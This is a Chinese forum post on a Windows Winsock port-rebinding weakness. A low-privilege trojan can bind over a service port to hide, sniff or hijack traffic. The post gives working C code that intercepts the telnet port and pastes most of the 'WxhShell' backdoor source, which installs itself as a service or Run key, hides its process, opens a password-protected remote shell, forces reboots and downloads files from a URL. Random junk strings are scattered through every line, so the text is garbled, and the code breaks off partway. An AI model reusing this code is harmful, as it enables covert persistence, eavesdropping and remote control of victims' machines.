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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {9=U6m^R2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $8eq&_gJ  
f'.yM*  
  saddr.sin_family = AF_INET; -pjL7/gx  
tx.YW9xD  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ER|5_  
$YSOkyC?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RE7[bM3a  
Ugs<WVp$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @'U4-x  
TZ*ib~  
  这意味着什么?意味着可以进行如下的攻击: iFDQnt [t  
f~U|flL^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 % -SP  
>:Oo[{)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) gM= ~dBz  
M1g|m|H7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 '"KK|]vJ  
P]x@h  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  O;zW'*c+  
4u&l@BUr  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 x*)Wl!  
lW2qVR  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xGH%4J\  
3NJH"amk  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^wHO!$  
MR~BWH?@1  
  #include "?il07+w%  
  #include EfUo<E  
  #include Aqc(  
  #include    6D+k[oHZm  
  DWORD WINAPI ClientThread(LPVOID lpParam);   # K-Q/*  
  int main() r94BEC 2  
  { /2U.,vw  
  WORD wVersionRequested; Xgl>kJy<#  
  DWORD ret; ofi']J{R  
  WSADATA wsaData; {:dE_tqo  
  BOOL val; p75w^  
  SOCKADDR_IN saddr; b"Ulc}$/&  
  SOCKADDR_IN scaddr; Q{a!D0;4v  
  int err; 3 (<!pA  
  SOCKET s; lWdE^-  
  SOCKET sc; k+i=0 P0mf  
  int caddsize; -`gC?yff:  
  HANDLE mt; LnL<WI*Pq  
  DWORD tid;   p;H1,E:Re#  
  wVersionRequested = MAKEWORD( 2, 2 ); D\TL6"wo  
  err = WSAStartup( wVersionRequested, &wsaData ); #z~oc^J^T  
  if ( err != 0 ) { .Q#Eb %%  
  printf("error!WSAStartup failed!\n"); Q2 edS|  
  return -1; ae<KUThm.  
  } 1`uIjXr(  
  saddr.sin_family = AF_INET; C8jZcs#4  
   uI%[1`2N-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 l&yR-FJ7KY  
<)&ykcB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ruW6cvsvet  
  saddr.sin_port = htons(23); (+U!# T]'D  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ML]?`qv '  
  { %NBD^g F  
  printf("error!socket failed!\n"); DUtpd|  
  return -1; #}gc6T~0  
  } ox*Ka]  
  val = TRUE; n}+ DO6J  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 p\HXE4d'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v{jl)?`~w  
  { ?L $KlF Y  
  printf("error!setsockopt failed!\n"); jC@^/rMh  
  return -1; l)|CPSN?w  
  } vB,N6~r>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; RHBEC@d[}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 FJ!>3V;}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Du{]r[[C  
N;w1f"V}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8e-{S~@W  
  { -g>27EI5  
  ret=GetLastError(); PM|K*,3J  
  printf("error!bind failed!\n"); aR\=p:%jGI  
  return -1;  ;js7rt  
  } [sad}@R7  
  listen(s,2); PFc02 w  
  while(1) q@\D5F% >  
  { jv7zvp  
  caddsize = sizeof(scaddr); x O)nS _I  
  //接受连接请求 7}#vANm  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Jk~T.p?tF  
  if(sc!=INVALID_SOCKET) " pH+YqJ$  
  { eMF%!qUr  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); a2i   
  if(mt==NULL) j4l7Tx  
  { }cP 3i  
  printf("Thread Creat Failed!\n"); +j<Nu)0iY  
  break; 7OZ s~6(  
  } ^NCH)zK]v  
  } 3)xV-Y9  
  CloseHandle(mt); -{w&ya4X  
  } @fY!@xSf  
  closesocket(s); wS5hXTb"  
  WSACleanup(); pUPb+:^R  
  return 0; <ya3|ycnS  
  }   *7R3EUUk  
  DWORD WINAPI ClientThread(LPVOID lpParam) kSJWQ  
  { fT@#S}t  
  SOCKET ss = (SOCKET)lpParam; !9!N s(vUM  
  SOCKET sc; ecF I"g  
  unsigned char buf[4096]; o0/03O  
  SOCKADDR_IN saddr; z XvWo6  
  long num; z[';HJ0O;  
  DWORD val; ZNUV Bi  
  DWORD ret; 0>'1|8+`(z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 s9Xeh"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   k/LV=e7  
  saddr.sin_family = AF_INET; -0kwS4Hx2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); tSm|U<  
  saddr.sin_port = htons(23); ?;*mSQA`J  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z!1j8o2  
  { S:5Nh^K  
  printf("error!socket failed!\n"); $+mmqc8  
  return -1; ,4\vi|  
  } -ZuzJAA  
  val = 100; HU'd/5fun  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a"v D+r7Ol  
  { *L^{p.K4  
  ret = GetLastError(); I8[G!u71)_  
  return -1; H"-p^liw  
  } 9+/<[w7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H p,r @  
  { 2M;{|U  
  ret = GetLastError(); uwIZzz  
  return -1; Sd)D-S  
  } c)lK{DC  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) p#?1l/f"  
  { Zj}, VB*T  
  printf("error!socket connect failed!\n"); [Ea5Bn;~!  
  closesocket(sc); 7' 6m;b~F  
  closesocket(ss); rdC(+2+Ay  
  return -1; w@"|S_E  
  } 4Q]+tXes  
  while(1) "_(o% \"7  
  { auO^v;s  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 G,XFS8{%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /yI~(8bO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k_^d7yH  
  num = recv(ss,buf,4096,0); MTF:mLJ  
  if(num>0) UdY9*k  
  send(sc,buf,num,0); |mK d5[$  
  else if(num==0) _2TIan}  
  break; eF2<L[9  
  num = recv(sc,buf,4096,0); P8TiB  
  if(num>0) 8n'C@#{WV  
  send(ss,buf,num,0); 0h; -Yg  
  else if(num==0) ./6L&?*`~;  
  break; O<+C$J|  
  } c XY!b=9  
  closesocket(ss); hsl Js^  
  closesocket(sc); W9u (  
  return 0 ; #ucOjdquq  
  } <:ZN  
z cA"\  
doe[f_\  
========================================================== bg$e80  
;%%=G;b9  
下边附上一个代码,,WXhSHELL 8RocObY_W  
r` 3)sc  
========================================================== 3)T5}_  
;hKn$' '  
#include "stdafx.h" MBa/-fD  
PvA%c<z  
#include <stdio.h> i %z}8GIt'  
#include <string.h> AQFx>:in  
#include <windows.h> 2S/^"IM["  
#include <winsock2.h> 8Mp  
#include <winsvc.h> 6L*y$e"Qc  
#include <urlmon.h> xR%CS`0R  
iBc( @EJ  
#pragma comment (lib, "Ws2_32.lib") q_W NN/w  
#pragma comment (lib, "urlmon.lib") 8..itty  
Mk^o*L{ H  
#define MAX_USER   100 // 最大客户端连接数 IP~g7`Y  
#define BUF_SOCK   200 // sock buffer Ak1f*HGl|  
#define KEY_BUFF   255 // 输入 buffer )JZfC&,  
#S1)n[  
#define REBOOT     0   // 重启 ,2]6cP(6qQ  
#define SHUTDOWN   1   // 关机 M"P$hb'F  
B'=*92i>S  
#define DEF_PORT   5000 // 监听端口 M r@M~ -  
3kJAaI8   
#define REG_LEN     16   // 注册表键长度 R!,RZ?|v  
#define SVC_LEN     80   // NT服务名长度 paF2{C)4  
vF*H5\ m<a  
// 从dll定义API S#ven&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !Hgq7vZG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >Cf]uiR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5[;^Em)C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W`;E-28Dg  
!>! l=Z  
// wxhshell配置信息 Y[pGaiN:  
struct WSCFG { sGzd c  
  int ws_port;         // 监听端口 K{ 0mb  
  char ws_passstr[REG_LEN]; // 口令 ))+R*k%  
  int ws_autoins;       // 安装标记, 1=yes 0=no i1scoxX3\  
  char ws_regname[REG_LEN]; // 注册表键名 O,DA{> *m  
  char ws_svcname[REG_LEN]; // 服务名 6bU/IVP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *Fq Nzly  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yJgnw6>r2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "3!4 hiU9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m6JIq}CMb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z?cRsqf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A]>0lB  
@ VJr0  
}; |"ck;.)  
lQ)8zI  
// default Wxhshell configuration %5uuB4P&|$  
struct WSCFG wscfg={DEF_PORT, )~WxNn3rx  
    "xuhuanlingzhe", 578Dl(I#)  
    1, jIEK[vJ`  
    "Wxhshell", txliZ|.O  
    "Wxhshell", TpnkJygIm  
            "WxhShell Service", T$k) ^'  
    "Wrsky Windows CmdShell Service", =JEnK_@?K\  
    "Please Input Your Password: ", 0$P40 7  
  1, 3L#KHTM  
  "http://www.wrsky.com/wxhshell.exe", RJGf@am&  
  "Wxhshell.exe" tFb49zbk  
    }; HeR-;L  
&hZcj dB  
// 消息定义模块 ?X=9@m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $3FFb#r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E|ZY2&J`4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ey y&JjVs  
char *msg_ws_ext="\n\rExit."; gBrIqM i5  
char *msg_ws_end="\n\rQuit."; ZL-@2ZU{1  
char *msg_ws_boot="\n\rReboot..."; ;;UvK v  
char *msg_ws_poff="\n\rShutdown..."; lMlXK4-  
char *msg_ws_down="\n\rSave to "; w8>p[F5`O  
cDLS)  
char *msg_ws_err="\n\rErr!"; JSO>rpO  
char *msg_ws_ok="\n\rOK!"; dmf~w_(7  
:e gSW2"5S  
char ExeFile[MAX_PATH]; whvM^  
int nUser = 0; R` /n sou  
HANDLE handles[MAX_USER]; 3"q%-M|+Q  
int OsIsNt; 0WQ0-~wx  
cT."  
SERVICE_STATUS       serviceStatus; -V<i4X<|,+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %*LdacjZ  
:y]l`Mo -  
// 函数声明 _{-GR-  
int Install(void); Q:tW LVE#0  
int Uninstall(void); =<FFFoF*C_  
int DownloadFile(char *sURL, SOCKET wsh); ah~7T~  
int Boot(int flag); )LnHm  
void HideProc(void); Ei}B9 &O  
int GetOsVer(void); jz/@Zg",  
int Wxhshell(SOCKET wsl); 0PTB3-  
void TalkWithClient(void *cs); *USZ2|i  
int CmdShell(SOCKET sock); .w&{2,a3  
int StartFromService(void); /eZA AH  
int StartWxhshell(LPSTR lpCmdLine); N7Dm,Q]  
Km-lWreTH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 377$c;4 F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e}aD <E G  
QK//bV)  
// 数据结构和表定义 _:=w6jCk  
SERVICE_TABLE_ENTRY DispatchTable[] = E7y<iaA{~  
{ oA73\BFfP  
{wscfg.ws_svcname, NTServiceMain}, #B>Hq~ vrC  
{NULL, NULL} 7CNEP2}:R  
}; ]%G[<zD,1  
oXfLNe6>L  
// 自我安装 MYjDO>(_  
int Install(void) g_.BJ>Uv  
{ hC~lH eH  
  char svExeFile[MAX_PATH]; U<o,`y[Tn  
  HKEY key; 00<iv"8  
  strcpy(svExeFile,ExeFile); ,]Hn*\@p[c  
~ / "aD  
// 如果是win9x系统,修改注册表设为自启动 q}(UC1|  
if(!OsIsNt) { 6\'v_A O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >b<br  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z+Z`J; ,  
  RegCloseKey(key); >WG$!o+R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !*EHr09N7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?6~RGg  
  RegCloseKey(key); 3"&6rdF\jB  
  return 0; q!}&<w~|  
    } MNkysB(  
  } 2}+V3/  
} m<r.sq&;  
else { oDA1#-  
RM QlciG  
// 如果是NT以上系统,安装为系统服务 d0IHl!X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -s4qm)\  
if (schSCManager!=0) 5Sk87o1E(d  
{ qH"e: wgL  
  SC_HANDLE schService = CreateService 8(&C0_yD  
  ( b\H~Ot[i  
  schSCManager, Zj!S('hSY  
  wscfg.ws_svcname, BQt!L1))  
  wscfg.ws_svcdisp, TQYud'u/  
  SERVICE_ALL_ACCESS, Rl<~:,D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~(G]-__B<  
  SERVICE_AUTO_START, tNfku  
  SERVICE_ERROR_NORMAL, kXv -B-wOj  
  svExeFile, Qz[~{-<  
  NULL, 7&OU!gp  
  NULL, 5ahAp];  
  NULL, A+:K!|w  
  NULL, Rnun() plJ  
  NULL D55dD>  
  ); &!Y^DR/  
  if (schService!=0) ~99Ta]U  
  { 4*d_2:|u  
  CloseServiceHandle(schService); hDzKB))<w  
  CloseServiceHandle(schSCManager); ejD;lvf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); En-eG37 l  
  strcat(svExeFile,wscfg.ws_svcname); +g\u=&< 6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e2Ba@e-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~ia#=|1}  
  RegCloseKey(key); a)[tkjU  
  return 0; $UO7AHk  
    } - C8 h$P  
  } v"=^?5B  
  CloseServiceHandle(schSCManager); 3v5]L3  
} z2S53^C*  
} 3fn6W)v?  
HrWXPac A  
return 1; {v<Ig{{V  
} Fg`r:,(a  
GfPe0&h  
// 自我卸载 19&!#z  
int Uninstall(void) Dy0cA| E  
{ O. @_2  
  HKEY key; Vg&` f  
`{8Sr)  
if(!OsIsNt) { o+q4Vg9&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { //f[%j*>  
  RegDeleteValue(key,wscfg.ws_regname); fHR1ku y  
  RegCloseKey(key); N] }L*o&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2}' &38wMT  
  RegDeleteValue(key,wscfg.ws_regname); RhXX/HFk  
  RegCloseKey(key); + ECV|mkk  
  return 0; .K;*uq:0  
  } }=;N3Q" #y  
} hH`yQGZ  
} x>p=1(L  
else { C5 ^_R  
s XRiUDP`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9e1gjC\c  
if (schSCManager!=0) ] QtGgWtC  
{ HO}aLp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,HYz-sK.  
  if (schService!=0) $Y)|&,  
  { k7f[aM5]  
  if(DeleteService(schService)!=0) { ,k+jx53XV  
  CloseServiceHandle(schService); %nVnK6[sox  
  CloseServiceHandle(schSCManager); H\ 8.T:>  
  return 0; #li;L  
  } ^FF{71;  
  CloseServiceHandle(schService); H Viu7kue`  
  } 1K4LEg a`  
  CloseServiceHandle(schSCManager); x(}@se  
} E+UOuf*(  
} k;l^wM  
6D _4o&N  
return 1; <o^mQq&  
} OA&NWAm4  
?^5W.`Y2i  
// 从指定url下载文件 9O~1o?ni  
int DownloadFile(char *sURL, SOCKET wsh) D?8t'3no  
{ 5/>G)&  
  HRESULT hr; ~+V]MT  
char seps[]= "/"; y/4 4((O  
char *token; 64o`7  
char *file; VBBqoyP h  
char myURL[MAX_PATH]; "?}QwtUW  
char myFILE[MAX_PATH]; GVCyVt[!-  
l?Bv9k.^?  
strcpy(myURL,sURL); 3eFD[c%mN  
  token=strtok(myURL,seps); ir3iW*5k  
  while(token!=NULL) Jel%1'Dc^  
  { Pg|q{fc  
    file=token; m -7^$  
  token=strtok(NULL,seps); VS1gg4tCv  
  } z| i$eF;x3  
MoO jM&9  
GetCurrentDirectory(MAX_PATH,myFILE); laKMQLtv  
strcat(myFILE, "\\"); 4VD'<`R[  
strcat(myFILE, file); ezC55nm  
  send(wsh,myFILE,strlen(myFILE),0); eNi.d;8F  
send(wsh,"...",3,0); VCkhK9(N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jFbz:aUF  
  if(hr==S_OK) Eki7bT@/  
return 0; W~Eq_J?I  
else x]Q+M2g?  
return 1; =r:D]?8oC  
H2p1gb#  
} %~ZOQ%c1  
/M\S^ !g@  
// 系统电源模块 ,`S"nq  
int Boot(int flag) w'?uJW  
{ HaJD2wvr  
  HANDLE hToken; !>  
  TOKEN_PRIVILEGES tkp; i!ejK6Q  
r]kLe2r:B  
  if(OsIsNt) { 1!0BE8s"@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~KHp~Xs`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~Se/uL;*  
    tkp.PrivilegeCount = 1; QJvA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \E]s]ft;+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +.b~2K1  
if(flag==REBOOT) { gj$gqO`B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PHT;%;m=  
  return 0; !@p@u;djJ  
} \7jcZ~FBX%  
else { X];a(7+2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &&Vz=6N  
  return 0; N}pE{~Y  
} By:A9 s  
  } oC^-" (#  
  else { rM_8piD  
if(flag==REBOOT) { ^mkplp a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y =G  
  return 0; 3:dQN;=  
} wNcf7/ky  
else { 11%^K=dq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $ [M8G   
  return 0; |A[Le ;,  
} I>C;$Lp]  
} 57%:0loW  
wvBJ?t,  
return 1; 7f~.Qus  
} Q~te`  
h8 $lDFo  
// win9x进程隐藏模块 \b{=&B[Q$'  
void HideProc(void) Pdrz lu   
{ zG+oZ  
kYmkKl_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zl4Iq+5~6Q  
  if ( hKernel != NULL ) ]geO%m  
  { ^W3xw[{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {UvZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !E4YUEY 6  
    FreeLibrary(hKernel); KZsSTB6J  
  } {CYFM[V  
yLipuMNV  
return; $l7 <j_C  
} *=UEx0_!q  
{Lrez E4  
// 获取操作系统版本 &5~bJ]P   
int GetOsVer(void) }Q/xBC)  
{ JY4 +MApN  
  OSVERSIONINFO winfo; QEm6#y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z_ak4C  
  GetVersionEx(&winfo); #e{l:!uS\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bCy.S.`jHQ  
  return 1; F3;UH%L1  
  else : v<|y F  
  return 0; 3{]csZvW  
} 6- s/\  
g.iiT/b  
// 客户端句柄模块 D-69/3PvP  
int Wxhshell(SOCKET wsl) [ !].G=8  
{ #zZQ@+5zw  
  SOCKET wsh; ;[uJ~7e3  
  struct sockaddr_in client; bX=A77  
  DWORD myID; Rm&i"  
G\=7d%T+  
  while(nUser<MAX_USER) h/QZcA  
{ 65)/|j+  
  int nSize=sizeof(client); *)T},|Gc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ysu"+J  
  if(wsh==INVALID_SOCKET) return 1; !QSL8v@c  
Jx.Jx~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "tn]s>iAd=  
if(handles[nUser]==0) pbl;n|  
  closesocket(wsh); 1<Qb"FN!2  
else [59_n{S 1  
  nUser++; 5)AMl)  
  } %f*8JUE16  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?qO_t;:0>  
X8GIRL)lJ  
  return 0; )8!""n~  
} !Hr~B.f7  
&?#V*-;^  
// 关闭 socket HX7"w   
void CloseIt(SOCKET wsh) 1\$xq9  
{ OtBVfA:[  
closesocket(wsh); R]/3`X9!d>  
nUser--; qa.nm4"6+  
ExitThread(0); \h!%U*!7{  
} T9}G:6  
kL*  DU`  
// 客户端请求句柄 <V5(5gx  
void TalkWithClient(void *cs) L(fOe3 v  
{ z)#I"$!d  
h'|{@X  
  SOCKET wsh=(SOCKET)cs; 2ed$5.D  
  char pwd[SVC_LEN]; p$`71w)'[  
  char cmd[KEY_BUFF]; [sy~i{Bm  
char chr[1]; 0L S,(v4  
int i,j; 5N@k9x  
F;kY5+a7~e  
  while (nUser < MAX_USER) { NhU~'k  
h.l^f>, /  
if(wscfg.ws_passstr) { W.'#pd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !9_HZ(W&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HQCxO?  
  //ZeroMemory(pwd,KEY_BUFF); g=XvqD<  
      i=0; yT.h[yv"w  
  while(i<SVC_LEN) { ^<}9#q/rt  
;}@.E@s%'  
  // 设置超时 {^a"T'+  
  fd_set FdRead; 'JU(2mF  
  struct timeval TimeOut; sf<S#;aYqn  
  FD_ZERO(&FdRead); M ~z A  
  FD_SET(wsh,&FdRead); !ow:P8K?  
  TimeOut.tv_sec=8; :k*'M U}  
  TimeOut.tv_usec=0; Ub2t7MU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  LP-~;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HIsIW%B  
.!e):&(8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O3/][\  
  pwd=chr[0]; A<fKO <d  
  if(chr[0]==0xd || chr[0]==0xa) { ;4>YPH  
  pwd=0; I 8TqK  
  break; o$;t  
  } #^4p(eZ[}  
  i++; _kg<K D=P  
    } PV$)k>H-  
't.I YBHx  
  // 如果是非法用户,关闭 socket n?!XNXb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kVz9}Xp"  
} Yd'Fhvo8  
mvgsf(a*'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Tsch:r S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n=J~Rssp  
LM\H%=*L  
while(1) { #s>AiD  
&&T\PspM  
  ZeroMemory(cmd,KEY_BUFF); /Jj7 +?  
l25_J.e  
      // 自动支持客户端 telnet标准   kw{dvE\K  
  j=0; 1y'8bt~7Pf  
  while(j<KEY_BUFF) { Ne#FBRu5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kl%%b"h'  
  cmd[j]=chr[0]; M15Ce)oB1(  
  if(chr[0]==0xa || chr[0]==0xd) { d9e_slx  
  cmd[j]=0; Kh&W\\K  
  break; 'K&^y%~py,  
  } 7^)8DwAl  
  j++; -<H\VT%98  
    }  bi/ AQ^  
FnxPM`Zx  
  // 下载文件 QOiPDu=8z  
  if(strstr(cmd,"http://")) { v=5H,4UMA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HVjN<HIqM  
  if(DownloadFile(cmd,wsh)) 9^ ;Cz>6s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G5*"P!@6  
  else 2^ uP[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7.)kG}q]  
  } ,Ei!\U^)  
  else { D+#OB|&Dn  
yC\dM1X  
    switch(cmd[0]) { }?G([s56  
  nVB.sab  
  // 帮助 :j^IXZW  
  case '?': { "o_s=^U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y_mTO4\C2  
    break; ]bxBo  
  } ^Gi9&fS,  
  // 安装 3 PkVMX  
  case 'i': { Znr6,[U+q  
    if(Install()) wnUuoX(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ig&H0S  
    else WbJ|]}hJ\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pPL)!=o!  
    break; abMB-  
    } @}; vl  
  // 卸载 \ SCi\j/a(  
  case 'r': { '3<T~t  
    if(Uninstall()) Z9wKjxu+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fi+8|/5  
    else w'[JfMuP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d*$L$1S  
    break; M>qqe!c*  
    } :1asY:)vNP  
  // 显示 wxhshell 所在路径 TOT#l6yqdd  
  case 'p': { M( w'TE@  
    char svExeFile[MAX_PATH]; O06 2c)vIY  
    strcpy(svExeFile,"\n\r"); /U$5'BoS  
      strcat(svExeFile,ExeFile); ,3XlX(P  
        send(wsh,svExeFile,strlen(svExeFile),0); *^y,Gg/  
    break; 68*a'0  
    } gn//]|#H+  
  // 重启 A@uU*]TqJ8  
  case 'b': { f/7on| bv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uB=DC'lkg  
    if(Boot(REBOOT)) t=nZ1GZyM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8k{KnH  
    else { Mi~x(W@}3  
    closesocket(wsh); k3(q!~a:.}  
    ExitThread(0); QmgO00{  
    } lA{JpH_Y8s  
    break; h;Hg/jv  
    } B4@1WZn<8  
  // 关机 e&@;hDmIX  
  case 'd': { X9 N4  
